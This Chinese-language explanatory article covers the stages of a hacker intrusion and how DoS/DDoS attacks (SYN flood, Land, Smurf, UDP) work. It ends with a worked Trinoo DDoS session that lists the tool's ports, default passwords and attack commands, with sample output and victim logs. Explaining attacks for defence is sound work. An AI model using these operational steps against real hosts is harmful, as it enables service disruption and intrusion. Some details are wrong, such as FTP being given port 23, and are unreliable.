谈到网络安全问题,就没法不谈黑客(Hacker)。黑客是指对计算机某一领域有着深入的理解,并且十分热衷于潜入他人计算机、窃取非公开信息的人。每一个对互联网络的知识十分了解的人,都有可能成为黑客。翻开1998年日本出版的《新黑客字典》,可以看到上面对黑客的定义是:“喜欢探索软件程序奥秘,并从中增长其个人才干的人。”显然,“黑客”一语原来并没有丝毫的贬义成分,直到后来,少数怀有不良的企图,利用非法手段获得的系统讯问权去闯入运程机器系统、破坏重要数据,或为了自己的私利而制造麻烦的具有恶意行为的人慢慢玷污了“黑客”的名声,“黑客”才逐渐演变成入侵者、破坏者的代名词。目前,“黑客”已成为一个特殊的社会群体,在欧美等国有不少合法的黑客组织,黑客们经常召开黑客技术交流会,另一方面,黑客组织在因特网上利用自己的网站上介绍黑客攻击手段,免费提供各种黑客工具软件、出版网上黑客杂志,这使得普通人也探测容易下载并学会使用一些简单的黑客手段或工具对网络进行某种程序的攻击,进一步恶化了网络安全环境。
许多上网的用户对网络安全可能抱着无所谓的态度,认为最多不过是被“黑客”盗用账号,他们往往会认为“安全”只是针对那些大中型企事业单位的,而且黑客与自己无怨无仇,干嘛要攻击自己呢?其实,在一无法纪二无制度的虚拟网络世界中,现实生活中所有的阴险和卑鄙都表现得一览无余,在这样的信息时代里,几乎每个人都面临着安全威胁,都有必要对网络安全有所了解,并能够处理一些安全方面的问题,那些平时不注意安全的人,往往在受到安全方面的攻击时,付出惨重的代价时才会后悔不已。为了把损失降低到最低限度,我们一定要有安全观念,并掌握一定的安全防范措施,禁绝让黑客无任何机会可乘。只有了解了他们的攻击手段,我们才能采取准确的对策对付这些黑客。
1. 黑客常见攻击步骤
黑客常用的攻击步骤可以说变幻莫测,但纵观其整个攻击过程,还是有一定规律可循的,一般可以分:攻击前奏、实施攻击、巩固控制、继续深入几个过程。见下图1示:
1.1 攻击前奏
黑客锁定目标、了解目标的网络结构,收集各种目标系统的信息等。
锁定目标:网络上有许多主机,黑客首先要寻找他找的站点的。当然能真正标识主机的是IP地址,黑客会利用域名和IP地址就可以顺利地找到目标主机。
了解目标的网络结构:确定要攻击的目标后,黑客就会设法了解其所在的网络结构,哪里是网关、路由,哪里有防火墙,哪些主机与要攻击的目标主机关系密切等,最简单地就是用tracert命令追踪路由,也可以发一些数据包看其是否能通过来猜测其防火墙过滤则的设定等。当然老练的黑客在干这些的时候都会利用别的计算机来间接的探测,从而隐藏他们真实的IP地址。
收集系统信息:在收集到目标的第一批网络信息之后,黑客会对网络上的每台主机进行全面的系统分析,以寻求该主机的安全漏洞或安全弱点。首先黑客要知道目标主机采用的是什么操作系统什么版本,如果目标开放telnet服务,那只要telnet xx.xx.xx.xx.(目标主机),就会显示“digitalunlx(xx.xx.xx.)(ttypl)login:”这样的系统信息。接着黑客还会检查其开放端口进行服务分析,看是否有能被利用的服务。因特网上的主机大部分都提供www、mail、ftp、teinet等日常网络服务,通常情况下telnet服务的端口是23等,www服务的端口是80,ftp服务的口是23。利用信息服务,像snmp服务、traceroute程序、whois服务可用来查阅网络系统路由器的路由表,从而了解目标主机所在网络的拓扑结构及其内部细节,traceroute程序能够用该程序获得到达目标主机所要经过的网络数和路由器数,whois协议服务能提供所有有关的dns域和相关的管理参数,finger协议可以用finger服务来获取一个指一个指定主机上的所有用户的详细信息(如用户注册名、电话号码、最后注册时间以及他们有没有读邮件等等)。所有如果没有特殊的需要,管理员应该关闭这些服务.利用安扫描器,收集系统信息当然少不了安全扫描器黑客会利用一些安全扫描器来帮他们发现系统的各种漏洞,包括各种系统服务漏洞,应用软件漏洞,弱口令用户等等。
1.2 实施攻击
当黑客探测到了足够的系统信息,对系统的安全弱点有了了解后就会发动攻击,当然他们会根据不同的网络结构、不同的系统情况而采用的不同的攻击手段。一般,黑客攻击的终极目的是能够控制目标系统,窃取其中的机密文件等,但并不是每次黑客攻击都能够得逞控制目标主机的目的的,所以有时黑客也会发动拒绝服务攻击之类的干扰攻击,使系统不能正常工作。关于黑客具体采用的一些攻击方法我们在下面黑客攻击方法中有详细的介绍,这里就不细说了。
1.3 巩固控制
黑客利用种种手段进入目标主机系统并获得控制权之后,不是像大家想象的那样会马上进行破坏活动,删除数据、涂改网页等,那是毛头小伙子们干的事情。一般入侵成功后,黑客为了能长时间表的保留和巩固他对系统的控制权,不被管理员发现,他会做两件事:清除记录和留下后门。日志往往会记录上一些黑攻击的蛛丝马迹,黑客当然不会留下这些“犯罪证据”,他会把它删了或用假日志覆盖它,为了日后面以不被觉察地再次进入系统,黑客会更改某些系统设置、在系统中置入特洛伊木马或其他一些远程操纵程序。
1.4 继续深入
清除日志、删除拷贝的文件等手段来隐藏自己的踪迹之后,攻击者就开始下一步的行动;窃取主机上的各种敏感信息:软件资料、客户名单、财务报表、信用卡号等等,也可能是什么都不动,只是把你的系统作为他存放黑客程序或资料的仓库,也可能黑客会利用这台已经攻陷的主机去继续他下一步的攻击,如:继续入侵内部网络,或者利用这台主机发动d.o.s攻击使网络瘫痪。
网络世界瞬息万变,黑客们各有不同,他们的攻击流程也不会全相同,上面我们提的攻击步骤是对一般情况而言的,是绝大部分黑客正常情况下采用的攻击步骤。
2. DoS 与DDoS攻击原理及其防范
拒绝服务(Denial of Service,简称DoS)攻击是一种利用 TCP/IP协议的弱点和系统存在的漏洞,对网络设备进行攻击的行为。它以消耗网络带宽和系统资源为目的,对网络服务器发送大量“请求”信息,造成网络或服务器系统不堪重负,致使系统瘫痪而无法提供正常的网络服务。分布式拒绝服务(Distributed Denial of Service,简称DDoS)攻击是在拒绝服务攻击的基础上产生的一种分布式、协作式的大规模拒绝服务攻击方式。
目前,拒绝服务攻击和分布式拒绝服务攻击已成为一种遍布全球的系统漏洞攻击方法,无数网络用户都受到这种攻击的侵害,造成了巨大的经济损失。因此,了解DoS 与DDoS攻击原理及基本的防范方法,对所有网络用户特别是网络管理人员有着重要的意义。
2.1 DoS攻击
DoS攻击的方式主要是利用合理的服务请求,来占用过多的网络带宽和服务器资源,致使正常的连接请求无法得到响应。常见的 DoS攻击方法有:SYN Flood攻击、Land 攻击、Smurf攻击、UDP攻击等。下图2为DoS攻击的基本过程。
2.1.1 SYN Flood攻击
SYN Flood攻击是一种最常见的 DoS攻击手段,它利用TCP/IP连接的“三次握手”过程,通过虚假IP, 源地址发送大量 SYN 数据包,请求连接到被攻击方的一个或多个端口。当被攻击方按照约定向这些虚假IP,地址发送确认数据包后,等待对方连接,虚假的IP 源地址将不给予响应。这样,连接请求将一直保存在系统缓存中直到超时。
如果系统资源被大量此类未完成的连接占用,系统性能自然会下降。后续正常的TCP 连接请求也会因等待队列填满而被丢弃,造成服务器拒绝服务的现象。
2.1.2 Land 攻击
Land 攻击是利用向目标主机发送大量的源地址与目标地址相同的数据包,造成目标主机解析 Land包时占用大量系统资源,从而使网络功能完全瘫痪的攻击手段。其方法是将一个特别设计的SYN包中的源地址和目标地址都设置成某个被攻击服务器的地址,这样服务器接收到该数据包后会向自己发送一个SYN—ACK 回应包,SYN—ACK又引起一个发送给自己的ACK包,并创建一个空连接。每个这样的空连接到将暂存在服务器中,当队列足够长时,正常的连接请求将被丢弃,造成服务器拒绝服务的现象。
2.1.3 Smurf攻击
Smurf攻击是一种放大效果的ICMP攻击方式,其方法是攻击者伪装成被攻击者向某个网络上的广播设备发送请求,该广播设备会将这个请求转发到该网络的其他广播设备,导致这些设备都向被攻击者发出回应,从而达到以较小代价引发大量攻击的目的。例如,攻击者冒充被攻击者的IP使用PING来对一个C类网络的广播地址发送ICMP包,该网络上的254台主机就会对被攻击者的IP发送ICMP回应包,这样攻击者的攻击行为就被放大了 254 倍。
2.1.4 UDP攻击
UDP攻击是指通过发送UDP数据包来发动攻击的方式。在UDP Flood攻击中,攻击者发送大量虚假源IP的UDP数据包或畸形UDP数据包,从而使被攻击者不能提供正常的服务,甚至造成系统资源耗尽、系统死机。由于UDP协议是一种无连接的服务,只要被攻击者开放有一个UDP服务端口,即可针对该服务发动攻击。UDP攻击通常可分为UDP Flood 攻击、UDP Fraggle攻击和DNS Query Flood攻击。
①UDP Fraggle攻击的原理与Smurf攻击相似,也是一种“放大”式的攻击,不同的是它使用UDP回应代替了ICMP回应。
②DNS Query Flood攻击是一种针对DNS服务器的攻击行为。攻击者向DNS的UDP 53端口发送大量域名查询请求,占用大量系统资源,使服务器无法提供正常的查询请求。从以上 4种DoS攻击手段可以看出,DoS攻击的基本过程包括以下几个阶段:①攻击者向被攻击者发送众多的带有虚假地址的请求;②被攻击者发送响应信息后等待回传信息;③由于得不到回传信息,使系统待处理队列不断加长,直到资源耗尽,最终达到被攻击者出现拒绝服务的现象。
2.2 DDoS攻击
DoS攻击主要是采用一对一的攻击方式。当目标计算机的配置较低或网络带宽较小时,其攻击的效果较为明显。随着计算机及网络技术的发展,计算机的处理能力迅速增长,网络带宽也从百兆发展到了千兆、万兆,DoS攻击很难奏效。DDoS攻击是DoS攻击的一种演变,它改变了传统的一对一的攻击方式,利用网络调动大量傀儡机,同时向目标主机发起攻击,攻击效果极为明显。
2.2.1 DDoS攻击原理
DDoS主要采用了比较特殊的3层客户机/服务器结构,即攻击端、主控端和代理端,这3者在攻击中各自扮演着不同的角色。攻击者:攻击者所用的计算机是攻击主控台,可以是网络上的任何一台主机,甚至可以是一个活动的便携机。攻击者操纵整个攻击过程,它向主控端发送攻击命令。主控端:主控端是攻击者非法侵入并控制的一些主机,这些主机还分别控制大量的代理主机。主控端主机的上面安装了特定的程序,因此它们可以接受攻击者发来的特殊指令,并且可以把这些命令发送到代理主机上。代理端:代理端同样也是攻击者侵入并控制的一批主机,它们上面运行攻击器程序,接受和运行主控端发来的命令。代理端主机是攻击的执行者,真正向受害者主机发送攻击。攻击者发起DDoS攻击的第一步,就是寻找在Internet上有漏洞的主机,进入系统后在其上面安装后门程序,攻击者入侵的主机越多,他的攻击队伍就越壮大。第二步在入侵主机上安装攻击程序,其中一部分主机充当攻击的主控端,一部分主机充当攻击的代理端。最后各部分主机各司其职,在攻击者的调遣下对攻击对象发起攻击。这种3层客户机/服务器结构,使DDoS具有更强的攻击能力,并且能较好地隐藏攻击者的真实地址。下图3为DDoS的攻击原理。
DDoS攻击一旦实施,攻击数据包就会像洪水般地从四面八方涌向被攻击主机,从而把合法用户的连接请求淹没掉,导致合法用户长时间无法使用网络资源。 2.2.2 DDoS攻击的主要形式
DDoS攻击的主要形式有以下几种:
①通过大量伪造的IP 向某一固定目标发出高流量垃圾数据,造成网络拥塞,使被攻击主机无法与外界通信。
②利用被攻击主机提供的服务或传输协议上的缺陷,反复高速地发送对某特定服务的连接请求,使被攻击主机无法及时处理正常业务。
③利用被攻击主机所提供服务中数据处理上的缺陷,反复高速地发送畸形数据引发服务程序错误,大量占用系统资源,使被攻击主机处于假死状态,甚至导致系统崩溃。
2.3 Trinoo攻击软件攻击实例
DDoS攻击不断在Internet出现,并在应用的过程中不断的得到完善,已有一系列比较成熟的软件产品,如Trinoo、独裁者DDoS攻击器、DdoSer、TFN、TFN2K等,他们基本核心及攻击思路是很相象的,下面就通过Trinoo对这类软件做一介绍。
Trinoo是基于UDP flood的攻击软件,它向被攻击目标主机随机端口发送全零的4字节UDP包,被攻击主机的网络性能在处理这些超出其处理能力垃圾数据包的过程中不断下降,直至不能提供正常服务甚至崩溃。它对IP地址不做假,采用的通讯端口是:
攻击者主机到主控端主机:27665/TCP
主控端主机到代理端主机:27444/UDP
代理端主机到主服务器主机:31335/UDP
Trinoo攻击功能的实现,是通过三个模块付诸实施的:1、攻击守护进程(NS);2、攻击控制进程(MASTER);3、客户端(NETCAT,标准TELNET程序等)。攻击守护进程NS是真正实施攻击的程序,它一般和攻击控制进程(MASTER)所在主机分离,在原始C文件NS.C编译的时候,需要加入可控制其执行的攻击控制进程MASTER所在主机IP,(只有在NS.C中的IP方可发起NS的攻击行为)编译成功后,黑客通过目前比较成熟的主机系统漏洞破解(如RPC.CMSD,RPC.TTDBSERVER,RPC.STATD)可以方便的将大量NS植入因特网中有上述漏洞主机内。NS运行时,会首先向攻击控制进程(MASTER)所在主机的31335端口发送内容为HELLO的UDP包,标示它自身的存在,随后攻击守护进程即处于对端口27444的侦听状态,等待MASTER攻击指令的到来。
攻击控制进程(MASTER)在收到攻击守护进程的HELLO包后,会在自己所在目录生成一个加密的名为...的可利用主机表文件, MASTER的启动是需要密码的,在正确输入默认密码gOrave后, MASTER即成功启动,它一方面侦听端口31335,等待攻击守护进程的HELLO包,另一方面侦听端口27665,等待客户端对其的连接。当客户端连接成功并发出指令时, MASTER所在主机将向攻击守护进程ns所在主机的27444端口传递指令。
客户端不是Trinoo自带的一部分,可用标准的能提供TCP连接的程序,如TELNET,NETCAT等,连接MASTER所在主机的27665端口, 输入默认密码betaalmostdone后,即完成了连接工作,进入攻击控制可操作的提示状态。
目前版本的Trinoo有六个可用命令,mtimer:设定攻击时长,如mtimer 60,攻击60秒,如果不设置的话,默认是无限。dos:对某一目标主机实施攻击,如dos 12.34.45.56 mdie:停止正在实施的攻击,使用这一功能需要输入口令killme,mping:请求攻击守护进程NS回应,监测ns是否工作。mdos, 对多个目标主机实施攻击,msize:设置攻击UDP包的大小。 Trinoo运行的总体轮廓可用图4说明:
我们来看一次攻击的实例:
被攻击的目标主机victim IP为:192.168.1.45 ns被植入三台sun的主机里,他们的IP对应关系分别为 client1:192.168.1.11 client2:192.168.1.12 client3:192.168.1.13 master所在主机为masterhost:192.168.1.14 首先我们要启动各个进程,在client1,2,3上分别执行ns,启动攻击守护进程, 其次,在master所在主机启动master masterhost# ./master ?? gOrave (系统示输入密码,输入gOrave后master成功启动) Trinoo v1.07d2+f3+c [Mar 20 2000:14:38:49] (连接成功) 在任意一台与网络连通的可使用telnet的设备上,执行: telnet 192.168.1.14 27665 Escape character is '^]'. betaalmostdone (输入密码) Trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] Trinoo> (进入提示符) Trinoo> mping (我们首先来监测一下各个攻击守护进程是否成功启动) mping: Sending a PING to every Bcasts. Trinoo> PONG 1 Received from 192.168.1.11 PONG 2 Received from 192.168.1.12 PONG 3 Received from 192.168.1.13 (成功响应) Trinoo> mtimer 60 (设定攻击时间为60秒) mtimer: Setting timer on bcast to 60. Trinoo> dos 192.168.1.45 DoS: Packeting 192.168.1.45...... 至此一次攻击结束,此时ping 192.168.1.45,会得到icmp不可到达反馈, 目标主机此时与网络的正常连接已被破坏。由于Trinoo尚未采用IP地址欺 骗,因此在被攻击的主机系统日志里我们可以看到如下纪录: Mar 20 14:40:34 victim snmpXdmid: Will attempt to re-establish connection. Mar 20 14:40:35 victim snmpdx: error while receiving a pdu from 192.168.1.11.59841:The message has a wrong header type (0x0) Mar 20 14:40:35 victim snmpdx: error while receiving a pdu from 192.168.1.12.43661:The message has a wrong header type (0x0) Mar 20 14:40:36 victim snmpdx: error while receiving a pdu from 192316831.13.40183:The message has a wrong header type (0x0) Mar 20 14:40:36 victim snmpXdmid: Error receiving PDU The message has a wrong header type (0x0). Mar 20 14:40:36 victim snmpXdmid: Error receiving packet from agent; rc = -1. Mar 20 14:40:36 victim snmpXdmid: Will attempt to re-establish connection. Mar 20 14:40:36 victim snmpXdmid: Error receiving PDU The message has a wrong header type (0x0). Mar 20 14:40:36 victim snmpXdmid: Error receiving packet from agent; rc = -1. |